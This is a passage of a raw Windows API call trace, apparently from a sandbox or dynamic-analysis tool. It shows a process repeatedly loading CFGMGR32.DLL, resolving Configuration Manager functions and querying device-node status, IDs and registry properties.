lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.418] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.422] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0223.423] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x1f, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0223.423] malloc (_Size=0x48) returned 0x196ef0fb220 [0223.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x66059fc2, dwHighDateTime=0x1d9eb0c)) [0223.423] SetEvent (hEvent=0x248) returned 1 [0223.479] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.479] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.483] malloc (_Size=0x18) returned 0x196ef0d1e20 [0223.483] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x1f, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0223.484] malloc (_Size=0x48) returned 0x196ef0fbc20 [0223.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x660f29c9, dwHighDateTime=0x1d9eb0c)) [0223.484] SetEvent (hEvent=0x248) returned 1 [0223.488] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.488] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.489] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.490] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.493] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0223.493] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1f, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0223.494] malloc (_Size=0x48) returned 0x196ef0fc120 [0223.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x661191e8, dwHighDateTime=0x1d9eb0c)) [0223.494] SetEvent (hEvent=0x248) returned 1 [0223.499] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.499] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.499] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.499] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.499] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.500] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.500] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.500] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.500] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.500] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.500] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.500] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.500] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.502] malloc (_Size=0x18) returned 0x196ef0d2000 [0223.502] CM_Get_Device_IDA (in: dnDevInst=0x20, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0A06\\PCI_HOTPLUG_RESOURCES") returned 0x0 [0223.502] malloc (_Size=0x48) returned 0x196ef0fbef0 [0223.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x661191e8, dwHighDateTime=0x1d9eb0c)) [0223.503] SetEvent (hEvent=0x248) returned 1 [0223.512] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.512] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.513] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.513] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.513] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.513] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.513] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.513] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.513] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.514] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.514] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.514] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.514] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.514] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.514] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.514] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.515] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.515] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.515] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.515] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.515] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.515] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.515] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.516] malloc (_Size=0x18) returned 0x196ef0d1e60 [0223.516] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0223.516] malloc (_Size=0x5a) returned 0x196ef0d0530 [0223.516] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0530, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0530, pulLength=0x67117d608) returned 0x0 [0223.517] free (_Block=0x196ef0d0530) [0223.517] malloc (_Size=0x48) returned 0x196ef0fb680 [0223.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6613f305, dwHighDateTime=0x1d9eb0c)) [0223.517] SetEvent (hEvent=0x248) returned 1 [0223.519] malloc (_Size=0x18) returned 0x196ef0d1f60 [0223.519] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0223.519] free (_Block=0x196ef0d1f60) [0223.520] malloc (_Size=0x18) returned 0x196ef0d1980 [0223.520] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0223.520] free (_Block=0x196ef0d1980) [0223.520] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0223.520] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0223.520] free (_Block=0x196ef0d1ac0) [0223.520] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8567e0 [0223.520] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0223.520] SafeArrayGetLBound (in: psa=0x196ef1f2c30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0223.520] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0223.520] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0223.520] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0223.520] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0223.521] SafeArrayGetElemsize (psa=0x196ef1f2c30) returned 0x8 [0223.521] SafeArrayGetElement (in: psa=0x196ef1f2c30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0223.521] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e890, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0223.521] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e898, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0223.522] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e8a0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0223.522] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0223.523] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8567e0) returned 1 [0223.523] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.523] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.523] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.526] malloc (_Size=0x18) returned 0x196ef0d1c60 [0223.527] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0223.527] malloc (_Size=0x48) returned 0x196ef0fba40 [0223.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x66165132, dwHighDateTime=0x1d9eb0c)) [0223.527] SetEvent (hEvent=0x248) returned 1 [0223.589] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.589] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.592] malloc (_Size=0x18) returned 0x196ef0d1b40 [0223.592] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.595] malloc (_Size=0x48) returned 0x196ef0fc170 [0223.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x661fdb6f, dwHighDateTime=0x1d9eb0c)) [0223.596] SetEvent (hEvent=0x248) returned 1 [0223.599] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.599] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.602] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0223.602] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.603] malloc (_Size=0x48) returned 0x196ef0fbd10 [0223.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66223ced, dwHighDateTime=0x1d9eb0c)) [0223.603] SetEvent (hEvent=0x248) returned 1 [0223.606] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.606] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 